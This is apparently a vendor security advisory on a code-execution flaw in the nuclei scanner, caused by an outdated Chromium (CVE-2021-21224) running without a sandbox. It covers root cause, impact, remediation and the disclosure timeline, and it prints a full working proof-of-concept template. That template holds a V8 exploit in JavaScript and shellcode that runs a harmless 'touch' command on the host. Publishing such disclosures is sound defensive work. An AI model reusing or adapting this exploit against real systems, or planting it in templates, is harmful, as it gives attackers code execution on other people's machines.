Authors
We'd like to thank @c3l3si4n for disclosing the first security vulnerability that affects nuclei. This blog describes a brief overview of the security issue/impact and the measures we took to address it.
Issue Summary
The nuclei engine has a code execution vulnerability using components with known vulnerabilities that can be exploited by utilizing a specially crafted headless based template.
Root Cause
Nuclei relies on the go-rod library for a high level browser driver to run templates that require headless mode. Nuclei <=v2.5.1 was using an outdated version of the rod library, which downloaded an outdated chromium browser vulnerable to CVE-2021-21224. The library compiled the headless mode by default with the no-sandbox
browser flag in Linux environments.
It was possible to execute code on the system by exploiting CVE-2021-21224 + no-sandbox behavior and a specially crafted template.
Below you can find a template containing a POC, shared by @c3l3si4n that executes the touch /tmp/rce_on_nuclei
command on the host machine.
yaml
1id: nuclei-rce
2
3info:
4 name: Nuclei Template RCE by Chromium
5 author: c3l3si4n
6 severity: critical
7 tags: rce,hackback
8
9headless:
10 - steps:
11 - args:
12 url: "{{BaseURL}}"
13 action: navigate
14 - action: waitload
15 - action: script
16 name: poc
17 args:
18 code: |
19 '\n' + (()=>{function gc(){for(var r=0;r<524288;++r)new ArrayBuffer}let shellcode=[72,184,47,98,105,110,47,115,104,0,153,80,84,95,82,102,104,45,99,84,94,82,232,25,0,0,0,116,111,117,99,104,32,47,116,109,112,47,114,99,101,95,111,110,95,110,117,99,108,101,105,0,86,87,84,94,106,59,88,15,5];var wasmCode=new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]),wasmModule=new WebAssembly.Module(wasmCode),wasmInstance=new WebAssembly.Instance(wasmModule),main=wasmInstance.exports.main,bf=new ArrayBuffer(8),bfView=new DataView(bf);function fLow(r){return bfView.setFloat64(0,r,!0),bfView.getUint32(0,!0)}function fHi(r){return bfView.setFloat64(0,r,!0),bfView.getUint32(4,!0)}function i2f(r,e){return bfView.setUint32(0,r,!0),bfView.setUint32(4,e,!0),bfView.getFloat64(0,!0)}function f2big(r){return bfView.setFloat64(0,r,!0),bfView.getBigUint64(0,!0)}function big2f(r){return bfView.setBigUint64(0,r,!0),bfView.getFloat64(0,!0)}class LeakArrayBuffer extends ArrayBuffer{constructor(r){super(r),this.slot=45887}}function foo(r){let e=-1;r&&(e=4294967295);var t=new Array(Math.sign(0-Math.max(0,e,-1)));t.shift();let a=Array(2);a[0]=5.1;let f=new LeakArrayBuffer(4096);return t[0]=4386,[t,a,f]}for(var i=0;i<65536;++i)foo(!1);function setbackingStore(r,e){rwarr[4]=i2f(fLow(rwarr[4]),r),rwarr[5]=i2f(e,fHi(rwarr[5]))}function leakObjLow(r){return corrupt_buff.slot=r,fLow(rwarr[9])-1}gc(),gc(),[corrput_arr,rwarr,corrupt_buff]=foo(!0),corrput_arr[12]=140356,delete corrput_arr;let corrupt_view=new DataView(corrupt_buff),corrupt_buffer_ptr_low=leakObjLow(corrupt_buff),idx0Addr=corrupt_buffer_ptr_low-16,baseAddr=(4294901760&corrupt_buffer_ptr_low)-(4294901760&corrupt_buffer_ptr_low)%262144+262144,delta=baseAddr+28-idx0Addr;if(delta%8==0){let r=delta/8;this.base=fLow(rwarr[r])}else{let r=(delta-delta%8)/8;this.base=fHi(rwarr[r])}let wasmInsAddr=leakObjLow(wasmInstance);setbackingStore(wasmInsAddr,this.base);let code_entry=corrupt_view.getFloat64(104,!0);setbackingStore(fLow(code_entry),fHi(code_entry));for(let r=0;r<shellcode.length;r++)corrupt_view.setUint8(r,shellcode[r]);main();})() + '\n'
Security Impact
Running an unverified, headless-based custom template could lead to system-level code execution. Please note that all of our public templates are triaged by our security team in order to prevent such use-cases and false-positives.
Nuclei comes with headless mode disabled by default. In order to run templates that require a headless browser, the -headless
flag must be explicitly provided.
Is the remote code execution exploitable remotely by default?
No, headless mode is disabled by default.
Remediation
To address this vulnerability, we've upgraded the version of the go-rod library that downloads the most recent version of the chromium-browser.
Use the nuclei -update
command to update the engine to the most recent version i.e v2.5.2. Alternatively, the below command can be used to install/update to the latest version.
cli
1go install github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Report timeline
Date | Action |
---|---|
Sep 8, 2021, 2:50 AM | We received a report at security@projectdiscovery.io |
Sep 9, 2021, 11:26 PM | We acknowledged and confirmed the report |
Sep 18, 2021, 6:46 PM | We pushed a new release and informed @c3l3si4n |
Sep 19, 2021, 1:56 AM | We received fix confirmation from @c3l3si4n |
Recommendation
It is strongly recommended not to run third-party templates without verifying them first. The payloads of certain templates may perform undesired actions on your target machines, which can result in various issues like DOS.
The ProjectDiscovery team ensures that no templates with unintended consequences are merged into the nuclei-templates project, however if you are using templates outside the official public repository, please review them thoroughly before executing them with nuclei.
Follow @pdnuclei on Twitter for future updates, and if you have any questions, reach out to us on our Discord server at https://discord.gg/projectdiscovery.